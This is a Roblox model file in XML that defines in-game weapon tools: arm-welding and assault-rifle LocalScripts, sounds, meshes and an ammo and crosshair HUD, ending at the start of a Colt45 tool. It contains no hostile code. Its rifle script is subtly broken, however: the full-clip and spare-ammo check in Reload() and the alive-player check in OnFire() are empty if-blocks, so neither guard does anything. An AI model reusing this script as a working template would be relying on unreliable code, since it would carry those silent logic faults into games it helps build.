					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1</Y>
						<Z>1.60000002</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4258">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=2806276</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.33000004</X>
							<Y>1.33000004</Y>
							<Z>1.33000004</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4259">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">0.800000012</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309366</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4260">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2697432</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4261">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1.39999998</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4262">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4263">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX4264">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4265">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">CZ57</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 15
-- How many times per second the gun can fire
local FireRate = 1 / 10
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 350
-- In radians the minimum accuracy penalty
local MinSpread = 0.015
-- In radian the maximum accuracy penalty
local MaxSpread = 0.08
-- Number of bullets in a clip
local ClipSize = 20
-- DefaultValue for spare ammo
local SpareAmmo = 200
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = .01
-- Time it takes to reload weapon
local ReloadTime = 2
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil


local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
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			</Item>
			<Item class="ScreenGui" referent="RBX4266">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX4267">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
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						<UDim2 name="Size">
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							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
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						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
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						<Properties>
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							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4269">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
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								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
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							<string name="Text">54</string>
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							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4270">
						<Properties>
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							<Color3 name="BackgroundColor3">4288914085</Color3>
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							<Color3 name="BorderColor3">4279970357</Color3>
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							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
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							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
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							<float name="TextTransparency">0</float>
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							<token name="TextXAlignment">0</token>
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							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4271">
					<Properties>
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						<Color3 name="BackgroundColor3">4278255360</Color3>
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						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
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						<UDim2 name="Position">
							<XS>0</XS>
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						<UDim2 name="Size">
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							<UDim2 name="Position">
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							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX4275">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4276">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4277">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4278">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4279">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4280">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-0.400000006</Y>
					<Z>0.25</Z>
					<R00>0.949628592</R00>
					<R01>0</R01>
					<R02>0.313377738</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.313377738</R20>
					<R21>0</R21>
					<R22>0.949628592</R22>
				</CoordinateFrame>
				<string name="Name">Colt45</string>
